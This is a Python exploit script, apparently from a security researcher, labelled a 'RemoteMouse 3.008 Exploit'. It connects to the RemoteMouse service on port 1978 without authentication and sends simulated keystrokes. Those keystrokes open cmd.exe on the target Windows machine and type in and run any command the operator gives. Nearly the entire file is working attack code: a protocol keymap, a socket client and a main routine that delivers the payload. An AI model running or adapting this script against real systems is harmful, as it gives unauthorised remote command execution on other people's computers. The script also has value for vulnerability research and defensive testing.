#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : remote.py # Author : Podalirius (@podalirius_) # Date created : 17 Dec 2021 import argparse import time from enum import Enum from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM import io class Mouse(object): """ Mouse class for handling mouse-related commands in RemoteMouse. This class provides methods and constants for mouse operations like clicks. It is initialized with a parent RemoteMouse object to handle the connection. Attributes: cmd (str): Base command string "mos" used for mouse operations leftClick (str): Command string for left mouse click rightClick (str): Command string for right mouse click middleClick (str): Command string for middle mouse click """ cmd = "mos" leftClick = "%s %s %s" % (cmd, "5R", "l") rightClick = "%s %s %s" % (cmd, "5R", "r") middleClick = "%s %s %s" % (cmd, "5R", "m") def __init__(self, parent_remotemouse): super(Mouse, self).__init__() self.parent_remotemouse = parent_remotemouse class Keymap(Enum): """ Keymap enumeration for keyboard key codes used in RemoteMouse. This enum maps keyboard keys to their corresponding RemoteMouse protocol codes. Each key is mapped to a specific code string in the format "N[ras]XXX" where: - N is the length of the code (7 or 8) - [ras] is a constant identifier - XXX is the unique key code The enum includes mappings for: - Uppercase letters (A-Z) - Lowercase letters (a-z) - Numbers and special characters """ # Uppercase alphabet KEY_A = "8[ras]116" KEY_B = "8[ras]119" KEY_C = "8[ras]118" KEY_D = "8[ras]113" KEY_E = "8[ras]112" KEY_F = "8[ras]115" KEY_G = "8[ras]114" KEY_H = "8[ras]125" KEY_I = "8[ras]124" KEY_J = "8[ras]127" KEY_K = "8[ras]126" KEY_L = "8[ras]121" KEY_M = "8[ras]120" KEY_N = "8[ras]123" KEY_O = "8[ras]122" KEY_P = "8[ras]101" KEY_Q = "8[ras]100" KEY_R = "8[ras]103" KEY_S = "8[ras]102" KEY_T = "7[ras]97" KEY_U = "7[ras]96" KEY_V = "7[ras]99" KEY_W = "7[ras]98" KEY_X = "8[ras]109" KEY_Y = "8[ras]108" KEY_Z = "8[ras]111" # Lowercase alphabet KEY_a = "7[ras]84" KEY_b = "7[ras]87" KEY_c = "7[ras]86" KEY_d = "7[ras]81" KEY_e = "7[ras]80" KEY_f = "7[ras]83" KEY_g = "7[ras]82" KEY_h = "7[ras]93" KEY_i = "7[ras]92" KEY_j = "7[ras]95" KEY_k = "7[ras]94" KEY_l = "7[ras]89" KEY_m = "7[ras]88" KEY_n = "7[ras]91" KEY_o = "7[ras]90" KEY_p = "7[ras]69" KEY_q = "7[ras]68" KEY_r = "7[ras]71" KEY_s = "7[ras]70" KEY_t = "7[ras]65" KEY_u = "7[ras]64" KEY_v = "7[ras]67" KEY_w = "7[ras]66" KEY_x = "7[ras]77" KEY_y = "7[ras]76" KEY_z = "7[ras]79" # Digits KEY_1 = "6[ras]4" KEY_2 = "6[ras]7" KEY_3 = "6[ras]6" KEY_4 = "6[ras]1" KEY_5 = "6[ras]0" KEY_6 = "6[ras]3" KEY_7 = "6[ras]2" KEY_8 = "7[ras]13" KEY_9 = "7[ras]12" KEY_0 = "6[ras]5" # Control keys KEY_RETURN = "3RTN" KEY_BACKSPACE = "3BAS" KEY_WIN = "3win" # Symbols KEY_SPACE = "7[ras]21" KEY_PLUS = "7[ras]30" KEY_EQUAL = "6[ras]8" #KEY_MINUS = "7[ras]26" KEY_UNDERSCORE = "8[ras]106" KEY_LOWERTHAN = "6[ras]9" KEY_GREATERTHAN = "7[ras]11" KEY_LEFTSQUAREDBRACKET = "8[ras]110" KEY_RIGHTSQUAREDBRACKET = "8[ras]104" KEY_EXCLAMATIONMARK = "7[ras]20" KEY_ATSIGN = "8[ras]117" KEY_HASH = "7[ras]22" KEY_DOLLARS = "7[ras]17" KEY_PERCENT = "7[ras]16" KEY_CARET = "8[ras]107" KEY_AMPERSAND = "7[ras]19" KEY_STAR = "7[ras]31" KEY_LEFTPARENTHESIS = "7[ras]29" KEY_RIGHTPARENTHESIS = "7[ras]28" KEY_MINUS = "7[ras]24" KEY_SINGLEQUOTE = "7[ras]18" KEY_DOUBLEQUOTE = "7[ras]23" KEY_COLON = "7[ras]15" KEY_SEMICOLON = "7[ras]14" KEY_QUESTIONMARK = "7[ras]10" KEY_BACKTICK = "7[ras]85" KEY_TILDE = "7[ras]75" KEY_BACKSLASH = "8[ras]105" KEY_PIPE = "7[ras]73" KEY_LEFTBRACKET = "7[ras]78" KEY_RIGHTBRACKET = "7[ras]72" KEY_COMMA = "7[ras]25" KEY_DOT = "7[ras]27" KEY_SLASH ="7[ras]26" class Keyboard(object): """ A class to handle keyboard input simulation for RemoteMouse. This class provides methods to simulate keyboard input by sending the appropriate key codes to a RemoteMouse instance. It supports typing full strings as well as individual key presses for alphanumeric characters, symbols, and control keys. Attributes: charset (dict): A mapping of characters to their corresponding Keymap values parent_remotemouse: The parent RemoteMouse instance to send commands to Methods: type(message): Types out a full string by simulating keypresses for each character press(key): Simulates a single key press using either a Keymap value or character keyDown(key): Simulates holding down a key """ charset = { "A": Keymap.KEY_A, "B": Keymap.KEY_B, "C": Keymap.KEY_C, "D": Keymap.KEY_D, "E": Keymap.KEY_E, "F": Keymap.KEY_F, "G": Keymap.KEY_G, "H": Keymap.KEY_H, "I": Keymap.KEY_I, "J": Keymap.KEY_J, "K": Keymap.KEY_K, "L": Keymap.KEY_L, "M": Keymap.KEY_M, "N": Keymap.KEY_N, "O": Keymap.KEY_O, "P": Keymap.KEY_P, "Q": Keymap.KEY_Q, "R": Keymap.KEY_R, "S": Keymap.KEY_S, "T": Keymap.KEY_T, "U": Keymap.KEY_U, "V": Keymap.KEY_V, "W": Keymap.KEY_W, "X": Keymap.KEY_X, "Y": Keymap.KEY_Y, "Z": Keymap.KEY_Z, "a": Keymap.KEY_a, "b": Keymap.KEY_b, "c": Keymap.KEY_c, "d": Keymap.KEY_d, "e": Keymap.KEY_e, "f": Keymap.KEY_f, "g": Keymap.KEY_g, "h": Keymap.KEY_h, "i": Keymap.KEY_i, "j": Keymap.KEY_j, "k": Keymap.KEY_k, "l": Keymap.KEY_l, "m": Keymap.KEY_m, "n": Keymap.KEY_n, "o": Keymap.KEY_o, "p": Keymap.KEY_p, "q": Keymap.KEY_q, "r": Keymap.KEY_r, "s": Keymap.KEY_s, "t": Keymap.KEY_t, "u": Keymap.KEY_u, "v": Keymap.KEY_v, "w": Keymap.KEY_w, "x": Keymap.KEY_x, "y": Keymap.KEY_y, "z": Keymap.KEY_z, "1": Keymap.KEY_1, "2": Keymap.KEY_2, "3": Keymap.KEY_3, "4": Keymap.KEY_4, "5": Keymap.KEY_5, "6": Keymap.KEY_6, "7": Keymap.KEY_7, "8": Keymap.KEY_8, "9": Keymap.KEY_9, "0": Keymap.KEY_0, "\n": Keymap.KEY_RETURN, "\b": Keymap.KEY_BACKSPACE, " ": Keymap.KEY_SPACE, "+": Keymap.KEY_PLUS, "=": Keymap.KEY_EQUAL, "/": Keymap.KEY_SLASH, "_": Keymap.KEY_UNDERSCORE, "<": Keymap.KEY_LOWERTHAN, ">": Keymap.KEY_GREATERTHAN, "[": Keymap.KEY_LEFTSQUAREDBRACKET, "]": Keymap.KEY_RIGHTSQUAREDBRACKET, "!": Keymap.KEY_EXCLAMATIONMARK, "@": Keymap.KEY_ATSIGN, "#": Keymap.KEY_HASH,"$": Keymap.KEY_DOLLARS, "%": Keymap.KEY_PERCENT, "^": Keymap.KEY_CARET, "&": Keymap.KEY_AMPERSAND, "*": Keymap.KEY_STAR, "(": Keymap.KEY_LEFTPARENTHESIS, ")": Keymap.KEY_RIGHTPARENTHESIS, "-": Keymap.KEY_MINUS, "'": Keymap.KEY_SINGLEQUOTE, '"': Keymap.KEY_DOUBLEQUOTE, ":": Keymap.KEY_COLON, ";": Keymap.KEY_SEMICOLON, "?": Keymap.KEY_QUESTIONMARK, "`": Keymap.KEY_BACKTICK, "~": Keymap.KEY_TILDE,"\\": Keymap.KEY_BACKSLASH, "|": Keymap.KEY_PIPE, "{": Keymap.KEY_LEFTBRACKET, "}": Keymap.KEY_RIGHTBRACKET, ",": Keymap.KEY_COMMA, ".": Keymap.KEY_DOT } def __init__(self, parent_remotemouse): super(Keyboard, self).__init__() self.parent_remotemouse = parent_remotemouse def press(self, key): """ Simulates pressing a single key. This method takes either a Keymap enum value or a character string and sends the corresponding key press command using the RemoteMouse protocol. If a string is provided, it looks up the character in the charset dictionary to find its key code. Args: key (Union[Keymap, str]): The key to press, either as a Keymap enum value or a single character string Example: keyboard.press(Keymap.KEY_A) # Press the 'A' key keyboard.press("a") # Press the 'a' key """ if type(key) == Keymap: self.parent_remotemouse.send_raw_command("key %sd" % key.value) elif type(key) == str: if key in self.charset.keys(): self.parent_remotemouse.send_raw_command("key %sd" % self.charset[key].value) else: print("Unknown key %s" % bytes(key, 'utf-8')) def keyDown(self, key): """ Simulates pressing and holding down a key. This method takes a character string and sends the corresponding key down command using the RemoteMouse protocol. It looks up the character in the charset dictionary to find its key code. The key will remain pressed until keyUp() is called. Args: key (str): The key to press and hold down, as a single character string Example: keyboard.keyDown("a") # Press and hold the 'a' key """ if key in self.charset.keys(): self.parent_remotemouse.send_raw_command(self.charset[key] + "d") else: print("Unknown key %s" % bytes(key, 'utf-8')) def keyUp(self, key): """ Simulates releasing a previously pressed key. This method takes a character string and sends the corresponding key up command using the RemoteMouse protocol. It looks up the character in the charset dictionary to find its key code. This should be called after keyDown() to release the key. Args: key (str): The key to release, as a single character string Example: keyboard.keyUp("a") # Release the previously pressed 'a' key """ if key in self.charset.keys(): self.parent_remotemouse.send_raw_command(self.charset[key] + "u") else: print("Unknown key %s" % bytes(key, 'utf-8')) class RemoteMouse(object): """ Main class for interacting with the RemoteMouse application. This class handles the core connection and communication with a RemoteMouse server. It provides access to keyboard and mouse control functionality through dedicated sub-objects. Attributes: host (str): The hostname or IP address of the RemoteMouse server port (int): The port number to connect to (default: 1978) verbose (bool): Whether to print debug messages (default: False) keyboard (Keyboard): Object for keyboard control operations mouse (Mouse): Object for mouse control operations __socket: Internal socket connection to the server Example: remote = RemoteMouse("192.168.1.100") if remote.ping(): remote.keyboard.type("Hello") remote.mouse.leftClick() """ def __init__(self, host, port=1978, verbose=False): super(RemoteMouse, self).__init__() self.host = host self.port = port self.__socket = None self.verbose = verbose self.keyboard = Keyboard(self) self.mouse = Mouse(self) if not self.ping(): return None def ping(self): """ Tests connectivity to the RemoteMouse server by attempting to establish a connection. This method tries to connect to the configured host and port, and checks if the server responds with the expected RemoteMouse protocol handshake message. It handles both unauthenticated ("nop nop") and authenticated ("pwd pwd") server configurations. Returns: bool: True if connection succeeds and handshake is valid, False otherwise Example: remote = RemoteMouse("192.168.1.100") if remote.ping(): print("Successfully connected to RemoteMouse server") else: print("Failed to connect") """ try: self.__socket = socket(AF_INET, SOCK_STREAM) self.__socket.settimeout(5) self.__socket.connect((self.host, self.port)) response = self.__socket.recv(1048) f = io.BytesIO(response.strip()) if response.strip() == b"SIN 15win nop nop 300": return True elif response.strip() == b"SIN 15win pwd pwd 300": # Todo: implement auth return True else: return False except Exception as e: return False def typewrite(self, message: str, delay=0.5): """ Types out a string by simulating individual key presses for each character. This method takes a string message and simulates typing it out character by character using the RemoteMouse protocol. It looks up each character in the charset dictionary to find its corresponding key code and sends the appropriate key press commands. Args: message (str): The string message to type out Example: keyboard.type("Hello World!") # Types out the full string """ for character in message: self.keyboard.press(character) time.sleep(delay) def send_raw_command(self, cmd): """ Sends a command to the RemoteMouse server. This internal method handles sending commands to the RemoteMouse server by: 1. Establishing a new socket connection 2. Receiving and validating the server handshake 3. Sending the command if handshake is valid Args: cmd (str or bytes): The command to send to the server. If a string is provided, it will be encoded to bytes before sending. Returns: bool: True if command was sent successfully, False if connection or sending failed Example: self.send_raw_command("mos 5R l") # Sends left click command """ if self.verbose == True: print("[cmd] %s" % cmd) if type(cmd) == str: cmd = bytes(cmd, 'utf-8') try: self.__socket = socket(AF_INET, SOCK_STREAM) self.__socket.settimeout(5) self.__socket.connect((self.host, self.port)) response = self.__socket.recv(1048) if response == b"SIN 15win nop nop 300": self.__socket.send(cmd) time.sleep(0.05) return True else: return False except Exception as e: print("ERROR: %s" % str(e)) def click(self, button): """ Simulates a mouse button click. This method sends a mouse click command to the RemoteMouse server for the specified button. It uses predefined click commands from the Mouse class. Args: button (str): The mouse button to click. Must be one of: - "left" for left click - "right" for right click - "middle" for middle click Returns: bool: True if click command was sent successfully, False otherwise Example: remotemouse.click("left") # Performs a left mouse click """ pass def press(self, key): """ Simulates pressing a single key. This method sends a key press command to the RemoteMouse server for the specified key. The key can be provided either as a character that will be looked up in the charset dictionary, or directly as a Keymap enum value. Args: key (str or Keymap): The key to press. Can be either: - A single character string that exists in the charset dict - A Keymap enum value representing a specific key code Returns: bool: True if key press command was sent successfully, False otherwise Example: keyboard.press("a") # Presses the 'a' key keyboard.press(Keymap.KEY_RETURN) # Presses the Return/Enter key """ pass def type(self, message): """ Types out a string by simulating individual key presses for each character. This method takes a string message and simulates typing it out character by character using the RemoteMouse protocol. It sends each character to the press() method which handles the actual key press simulation. Args: message (str): The string message to type out Returns: None Example: keyboard.type("Hello World!") # Types out the full string keyboard.type("cmd.exe") # Types a command """ pass def close(self): """ Closes the socket connection to the RemoteMouse server. This method cleanly closes the underlying socket connection that was established with the RemoteMouse server. It should be called when done using the RemoteMouse instance to free up system resources. Returns: None Example: remotemouse.close() # Close the connection """ self.__socket.close() def parseArgs(): parser = argparse.ArgumentParser(description="RemoteMouse 3.008 Exploit") parser.add_argument("-t", "--target-ip", default=None, required=True, help="Target IP address") parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode") parser.add_argument("-d", "--delay", type=float, default=0.05, help="Delay in seconds between each character of the payload (default: 0.5)") parser.add_argument("-c", "--cmd", default=None, required=True, help="Command to execute on the target system") return parser.parse_args() if __name__ == '__main__': options = parseArgs() remotemouse = RemoteMouse(host=options.target_ip, verbose=options.verbose) # Press Win remotemouse.keyboard.press(Keymap.KEY_WIN) time.sleep(options.delay) # Type cmd.exe remotemouse.keyboard.press(Keymap.KEY_BACKSPACE) time.sleep(options.delay) remotemouse.typewrite("cmd.exe", delay=options.delay) time.sleep(options.delay) remotemouse.keyboard.press(Keymap.KEY_RETURN) # Wait for cmd.exe to start time.sleep(1) # Send payload char by char remotemouse.typewrite(options.cmd, delay=options.delay) time.sleep(options.delay) # Press enter to execute payload remotemouse.keyboard.press(Keymap.KEY_RETURN)